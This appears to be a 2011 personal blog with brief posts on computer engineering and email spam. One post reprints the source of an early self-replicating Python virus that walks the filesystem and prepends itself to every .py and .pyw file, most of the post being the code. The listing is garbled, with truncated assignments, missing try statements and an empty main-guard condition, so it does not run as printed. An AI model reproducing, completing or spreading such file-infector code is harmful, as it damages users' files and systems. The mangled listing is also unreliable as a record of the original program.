Friday, June 10, 2011

Becoming a good computer engineer

A fun yet good read on how to improve your computer skills.

Seven steps to become a world class computer engineer:

Saturday, June 4, 2011


Here's a list of Email Spam by Topic that I picked up from Wikipedia:

EMail Spam by Topic
Weight Loss0.40%

A good article about the end of one of the big spammers
Can you believe he sent about 25 million emails a day?

Friday, June 3, 2011

First virus in python

This is something I read long ago. First virus created using python created not to harm people but to show that python's potential.

Web page for the virus:

The source code is

# _ go         to  49th Biennale di Venezia
HTTP://WWW.0100101110101101.ORG  [epidemiC]
from dircache import *
from string import *
import os, sys
from stat import *

def fornicate(guest):
       soul = open(guest, "r")
       body =
       if find(body, "[epidemiC]") == -1:
           soul = open(guest, "w")
           soul.write(mybody + "\n\n" + body)
   except IOError: pass      

def chat(party, guest):
   if split(guest, ".")[-1] in ("py", "pyw"):
       fornicate(party + guest)

def join(party):
       if not S_ISLNK(os.stat(party)[ST_MODE]):
           guestbook = listdir(party)
           if party != "/": party = party + "/"
           if not lower(party) in wank and not ".py" in guestbook:
               for guest in guestbook:
                   chat(party, guest)
                   join(party + guest)
   except OSError: pass
if  == '':
       mysoul = open(sys.argv[0])
       mybody =
       mybody = mybody[:find(mybody, "#"*3) + 3]
       blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
       if blacklist[-1] != "/": blacklist = blacklist + "/"
       wank = [lower(blacklist), "/proc/", "/dev/"]
       print ">      This file was contaminated by, the world slowest virus."
       print "Either Linux or Windows, is definetely the first Python virus."
       print "[epidemiC]  HTTP://WWW.0100101110101101.ORG "
       print ">  <"